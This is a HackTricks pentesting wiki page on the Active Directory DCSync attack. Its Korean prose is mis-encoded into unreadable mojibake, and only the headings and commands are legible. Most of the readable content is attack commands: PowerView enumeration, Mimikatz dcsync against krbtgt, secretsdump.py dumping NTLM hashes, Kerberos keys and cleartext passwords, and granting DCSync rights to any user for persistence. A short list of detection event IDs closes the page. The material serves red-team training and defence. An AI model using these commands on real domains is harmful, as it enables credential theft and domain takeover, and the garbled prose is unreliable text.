DCSync

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

DCSync

DCSync ๊ถŒํ•œ์€ ๋„๋ฉ”์ธ ์ž์ฒด์— ๋Œ€ํ•ด ๋‹ค์Œ ๊ถŒํ•œ์„ ๊ฐ€์ง€๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค: DS-Replication-Get-Changes, Replicating Directory Changes All ๋ฐ Replicating Directory Changes In Filtered Set.

DCSync์— ๋Œ€ํ•œ ์ค‘์š” ์‚ฌํ•ญ:

  • DCSync ๊ณต๊ฒฉ์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ๋™์ž‘์„ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•˜๊ณ  ๋‹ค๋ฅธ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์ •๋ณด๋ฅผ ๋ณต์ œํ•˜๋„๋ก ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ณต์ œ ์„œ๋น„์Šค ์›๊ฒฉ ํ”„๋กœํ† ์ฝœ(MS-DRSR)์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. MS-DRSR์€ Active Directory์˜ ์œ ํšจํ•˜๊ณ  ํ•„์š”ํ•œ ๊ธฐ๋Šฅ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋„๊ฑฐ๋‚˜ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  • ๊ธฐ๋ณธ์ ์œผ๋กœ Domain Admins, Enterprise Admins, Administrators, ๋ฐ Domain Controllers ๊ทธ๋ฃน๋งŒ์ด ํ•„์š”ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
  • reversible encryption์œผ๋กœ ์ €์žฅ๋œ ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ, Mimikatz์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ‰๋ฌธ์œผ๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” ์˜ต์…˜์ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

Enumeration

powerview๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

๋กœ์ปฌ์—์„œ ์•…์šฉํ•˜๊ธฐ

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

์›๊ฒฉ์œผ๋กœ ์•…์šฉํ•˜๊ธฐ

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc๋Š” 3๊ฐœ์˜ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

  • ํ•˜๋‚˜๋Š” NTLM ํ•ด์‹œ
  • ํ•˜๋‚˜๋Š” Kerberos ํ‚ค
  • ํ•˜๋‚˜๋Š” NTDS์—์„œ ๊ฐ€์—ญ ์•”ํ˜ธํ™”๊ฐ€ ํ™œ์„ฑํ™”๋œ ๋ชจ๋“  ๊ณ„์ •์˜ ํ‰๋ฌธ ๋น„๋ฐ€๋ฒˆํ˜ธ์ž…๋‹ˆ๋‹ค. ๊ฐ€์—ญ ์•”ํ˜ธํ™”๊ฐ€ ํ™œ์„ฑํ™”๋œ ์‚ฌ์šฉ์ž๋ฅผ ์–ป์œผ๋ ค๋ฉด
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

์ง€์†์„ฑ

๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž๋ผ๋ฉด powerview์˜ ๋„์›€์œผ๋กœ ์ด ๊ถŒํ•œ์„ ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

๊ทธ๋Ÿฐ ๋‹ค์Œ, (๋‹น์‹ ์€ โ€œObjectTypeโ€ ํ•„๋“œ ์•ˆ์—์„œ ๊ถŒํ•œ์˜ ์ด๋ฆ„์„ ๋ณผ ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ) ์ถœ๋ ฅ์—์„œ 3๊ฐœ์˜ ๊ถŒํ•œ์ด ์‚ฌ์šฉ์ž์—๊ฒŒ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ํ• ๋‹น๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

์™„ํ™”

  • ๋ณด์•ˆ ์ด๋ฒคํŠธ ID 4662 (๊ฐ์ฒด์— ๋Œ€ํ•œ ๊ฐ์‚ฌ ์ •์ฑ…์ด ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•จ) โ€“ ๊ฐ์ฒด์— ๋Œ€ํ•œ ์ž‘์—…์ด ์ˆ˜ํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • ๋ณด์•ˆ ์ด๋ฒคํŠธ ID 5136 (๊ฐ์ฒด์— ๋Œ€ํ•œ ๊ฐ์‚ฌ ์ •์ฑ…์ด ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•จ) โ€“ ๋””๋ ‰ํ„ฐ๋ฆฌ ์„œ๋น„์Šค ๊ฐ์ฒด๊ฐ€ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • ๋ณด์•ˆ ์ด๋ฒคํŠธ ID 4670 (๊ฐ์ฒด์— ๋Œ€ํ•œ ๊ฐ์‚ฌ ์ •์ฑ…์ด ํ™œ์„ฑํ™”๋˜์–ด์•ผ ํ•จ) โ€“ ๊ฐ์ฒด์— ๋Œ€ํ•œ ๊ถŒํ•œ์ด ๋ณ€๊ฒฝ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • AD ACL ์Šค์บ๋„ˆ - ACL์˜ ์ƒ์„ฑ ๋ฐ ๋น„๊ต ๋ณด๊ณ ์„œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. https://github.com/canix1/ADACLScanner

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ